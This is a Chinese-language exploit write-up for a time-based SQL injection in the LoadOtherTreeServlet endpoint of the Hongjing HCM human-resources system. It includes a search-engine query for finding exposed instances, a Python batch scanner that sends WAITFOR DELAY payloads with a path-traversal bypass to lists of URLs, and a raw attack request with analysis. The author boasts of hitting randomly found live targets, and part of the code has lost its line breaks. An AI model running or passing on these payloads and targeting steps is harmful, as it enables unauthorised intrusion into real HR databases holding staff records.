?聲明:本文檔或演示材料僅用于教育和教學目的。如果任何個人或組織利用本文檔中的信息進行非法活動,將與本文檔的作者或發布者無關。
一、漏洞描述
宏景HCM人力資源信息管理系統是一個全面的人力資源管理軟件,它覆蓋了人力資源管理的各個模塊。該系統旨在幫助企事業單位建立高效的組織,促進組織的健康發展,并增強組織的軟實力。然而,該系統的LoadOtherTreeServlet接口存在安全問題,因為它沒有對傳入的數據進行預編譯和充分的驗證,這導致了SQL注入漏洞的存在。
二、資產收集
1.使用網絡空間測繪引擎搜索
鷹圖檢索:app.name="宏景 HCM"
2.使用poc批量掃描
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarningRED = '\033[91m' # 定義紅色字體的ANSI轉義碼
RESET = '\033[0m' # 定義重置顏色的ANSI轉義碼
# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 構造完整的攻擊URLattack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""headers = {'Content-Type': 'application/x-www-form-urlencoded'}start_time = time.time() # 記錄開始時間response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10) # 發送POST請求elapsed_time = time.time() - start_time # 計算請求耗時if 4 < elapsed_time < 6: # 如果耗時在4到6秒之間,可能存在漏洞print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout: # 捕獲超時異常print(f"URL [{url}] 請求超時,可能存在漏洞")except requests.RequestException as e: # 捕獲其他請求異常print(f"URL [{url}] 請求失敗: {e}")def main():parser = argparse.ArgumentParser(description='檢測目標地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')args = parser.parse_args()if args.url: # 如果提供了單個URL參數if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file: # 如果提供了包含多個URL的文件參數with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()
cmd運行:python poc.py -f url.txt
?隨機尋找的幸運兒
三、漏洞復現?
1.構造數據包
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
2.數據包分析?
- 請求方法:GET
- 請求路徑:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
- HTTP版本:HTTP/1.1
- Host頭:ip(目標服務器的IP地址)
- User-Agent頭:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客戶端使用的瀏覽器和操作系統信息)
- Accept頭:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客戶端接受的內容類型及其優先級)
- Accept-Language頭:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客戶端接受的語言及其優先級)
- Accept-Encoding頭:gzip, deflate, br(表示客戶端接受的編碼方式)
- Connection頭:close(表示請求完成后關閉連接)
/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解碼后,URL路徑變為:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet
請求還包含以下參數:
- modelflag=4:可能是用于指定某種模式或配置的標志。
- budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被設置為1,后面跟著一段SQL語句(WAITFOR DELAY '0:0:4'),如果SQL語句被正常執行則延時4秒
3.結束跑路
執行成功,延時1秒。
執行成功,延時4秒。
每篇一言:風月折斷楊柳枝,琴瑟朝露揮擲成詩。